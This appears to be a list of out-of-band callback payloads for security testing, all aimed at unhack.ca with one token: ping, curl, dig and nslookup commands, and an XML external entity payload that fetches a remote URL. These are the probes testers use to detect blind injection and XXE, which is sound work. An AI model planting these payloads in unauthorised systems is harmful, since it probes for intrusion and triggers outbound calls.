$ ping -c1 -p 0039c5693e157c23e91ab05e5c662200 unhack.ca
 

$ curl http://unhack.ca/p/39c5693e157c23e91ab05e5c6622
 

$ dig 39c5693e157c23e91ab05e5c6622 @unhack.ca
 

$ dig 39c5693e157c23e91ab05e5c6622.ns.unhack.ca
 

C:\> nslookup 39c5693e157c23e91ab05e5c6622 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/39c5693e157c23e91ab05e5c6622">]>
    <foo>&xxe;</foo>